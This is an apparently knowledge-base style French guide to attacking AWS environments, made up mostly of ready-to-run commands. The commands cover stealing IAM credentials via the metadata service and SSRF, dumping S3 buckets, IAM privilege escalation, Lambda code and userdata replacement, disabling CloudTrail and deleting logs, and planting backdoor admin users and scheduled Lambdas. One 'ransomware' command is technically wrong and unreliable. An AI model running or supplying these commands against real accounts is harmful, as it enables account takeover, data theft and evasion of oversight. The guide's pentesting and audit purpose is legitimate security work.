cloud-pentesting-aws

name	cloud-pentesting-aws
description	Guide complet de pentest AWS — S3, IAM, Lambda, EC2, ECS, metadata service, privesc, outils et méthodologie
category	cybersecurite

Cloud Pentesting AWS — Guide Avancé

Prérequis Techniques

Obtention des Credentials

# AWS CLI installé et configuré
aws configure
# Vérifier l'identité
aws sts get-caller-identity

# Depuis une instance EC2 compromise
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>

# Depuis environnement CI/CD
# Check env vars: AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN

Outils Essentiels

Outil	Description
Pacu	Framework open-source AWS exploitation
ScoutSuite	Audit de configuration complet
AWS-Nuke	Nettoyage de comptes
CloudSploit	Scanner de sécurité cloud
Nimbus	Framework de cloud pentest
CloudMapper	Visualisation réseau AWS
PMapper	Analyse des chemins de privesc IAM

Énumération AWS

Buckets S3

Découverte de buckets:

# Bucket basé sur le nom de domaine
s3://images.target.com
s3://target-backup
s3://target-old

# Outils de découverte
s3scanner https://github.com/sa7mon/S3Scanner
bucket_finder https://github.com/nahamsec/BBTz
lazys3 https://github.com/nahamsec/lazys3

# Recherche Google Dork
site:s3.amazonaws.com target
site:s3.amazonaws.com "target" "backup"

Enumération avec AWS CLI:

# Lister les buckets (si accès IAM)
aws s3 ls

# Lister contenu bucket
aws s3 ls s3://bucket-name/

# S3 sans auth (bucket public)
curl http://bucket-name.s3.amazonaws.com/
curl http://s3.amazonaws.com/bucket-name/

# Vérifier ACL
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name
aws s3api get-public-access-block --bucket bucket-name

Attaques S3:

# Téléchargement de tous les objets
aws s3 sync s3://bucket-name/ ./dump/

# Écriture (si bucket writable)
aws s3 cp shell.php s3://bucket-name/uploads/

# Ransomware (chiffrer tous les objets)
aws s3 cp s3://bucket-name/ ./encrypted/ --sse AES256

IAM — Escalade de Privilèges

Privesc IAM — Chemins critiques:

# Détection avec PMapper
pmapper --profile default visualize
pmapper --profile default query 'presigned privesc'
pmapper --profile default query 'can privesc to admin'

# Chemin: iam:PassRole + ec2:RunInstances
aws ec2 run-instances --iam-instance-profile Name=AdminRole --image-id ami-... --instance-type t2.micro
# Récupérer le token via metadata

# Chemin: iam:CreateAccessKey
aws iam create-access-key --user-name admin

# Chemin: iam:UpdateAssumeRolePolicy
aws iam update-assume-role-policy --role-name AdminRole --policy-document file://trust-policy.json

# Chemin: lambda:CreateFunction + lambda:AddPermission
# Créer une Lambda avec un rôle privilégié
aws lambda create-function --function-name mal --role arn:aws:iam::... --runtime python3.8 --handler index.handler --zip-file fileb://mal.zip

# Chemin: iam:CreateLoginProfile (définir mot de passe pour un autre user)
aws iam create-login-profile --user-name admin --password Pwned123!

Outils d'analyse IAM:

# Pacu — IAM enumeration et exploitation
Pacu (aws_s3_enum, iam_privesc_scan, iam_enum_permissions)

# Policy Sentry — analyse minimale des politiques
policy_sentry analyze-iam-policy --file policy.json

EC2 — Exploitation

Snapshot EBS:

# Prendre un snapshot d'un volume attaché à une instance
aws ec2 create-snapshot --volume-id vol-xxx --description "Backup"

# Créer un volume à partir du snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

# Attacher à votre instance
aws ec2 attach-volume --volume-id vol-new --instance-id i-victim --device /dev/xvdf

# Monter et lire les données
sudo mount /dev/xvdf /mnt

Userdata & Metadata:

# Récupérer userdata (contient souvent des secrets)
aws ec2 describe-instance-attribute --instance-id i-xxx --attribute userData | jq -r '.UserData.Value' | base64 -d

# Modifier userdata
aws ec2 modify-instance-attribute --instance-id i-xxx --attribute userData --value file://malicious.sh
# La modif userdata prend effet au prochain redémarrage

EC2 SSRF → Cloud:

# Si SSRF sur EC2 → metadata → credentials IAM
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>

# Avec IMDSv2
TOKEN=$(curl -X PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl http://169.254.169.254/latest/meta-data/ -H "X-aws-ec2-metadata-token: $TOKEN"

Lambda — Exploitation

# Énumération Lambda
aws lambda list-functions
aws lambda get-function --function-name target-func
aws lambda list-event-source-mappings --function-name target-func

# Injection de code via variables d'env
aws lambda update-function-code --function-name target-func --zip-file fileb://mal.zip

# Récupération des variables d'environnement (secrets)
aws lambda get-function-configuration --function-name target-func | jq '.Environment'

ECS — Container Escape

# Lister les tâches ECS
aws ecs list-clusters
aws ecs list-tasks --cluster prod

# SSH dans un container ECS (via SSM)
aws ssm start-session --target ecs:cluster-name_task-id_container-name

# Volumes EFS montés — données persistantes
# Bind mounts → hôte accessible

CloudTrail — Évasion de Logs

# Stopper CloudTrail
aws cloudtrail stop-logging --name trail-name

# Supprimer une trail
aws cloudtrail delete-trail --name trail-name

# Désactiver la journalisation S3
aws s3api put-bucket-logging --bucket target-bucket --logging-configuration {}

# Effacer les logs CloudWatch
aws logs delete-log-group --log-group-name /aws/lambda/target-function

Pacu — Workflow Complet

# Installation
pip install pacu
pacu

# Dans Pacu
set_keys
run aws_enum
run iam_enum_permissions
run iam_privesc_scan
run ec2_enum
run lambda_enum
run s3_enum
run rds_enum

# Dump complet
run services_backup
run organizations_policy

Persistance dans AWS

# Créer un user backdoor
aws iam create-user --user-name support-backup
aws iam attach-user-policy --user-name support-backup --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Clé API secrète
aws iam create-access-key --user-name support-backup

# STS — AssumeRole backdoor
aws sts get-session-token --duration-seconds 129600

# Lambda backdoor déclenchée par EventBridge
aws events put-rule --name backdoor-rule --schedule-expression "rate(1 day)"
aws events put-targets --rule backdoor-rule --targets "Id"="1","Arn"="arn:aws:lambda:...:function:backdoor"

Checklist Audit AWS

1. S3 buckets publics/mal configurés
2. IAM over-permissive (pas de least privilege)
3. EC2 Metadata accessible (IMDSv1)
4. RDS/Snapshots publics
5. Security Groups trop ouverts (0.0.0.0/0)
6. CloudTrail désactivé
7. KMS keys mal configurées
8. Lambda fonctions avec variables d'environnement sensibles
9. VPC Flow Logs désactivés
10. GuardDuty désactivé
11. Root account MFA désactivé
12. Password policy faible

Ressources

• HackTricks Cloud AWS: https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/index.html
• Pacu: https://github.com/RhinoSecurityLabs/pacu
• ScoutSuite: https://github.com/nccgroup/ScoutSuite
• PMapper: https://github.com/nccgroup/PMapper
• AWS Security Cheatsheet: https://github.com/dagrz/aws_pwn
• Rhino Security Labs: https://rhinosecuritylabs.com/aws/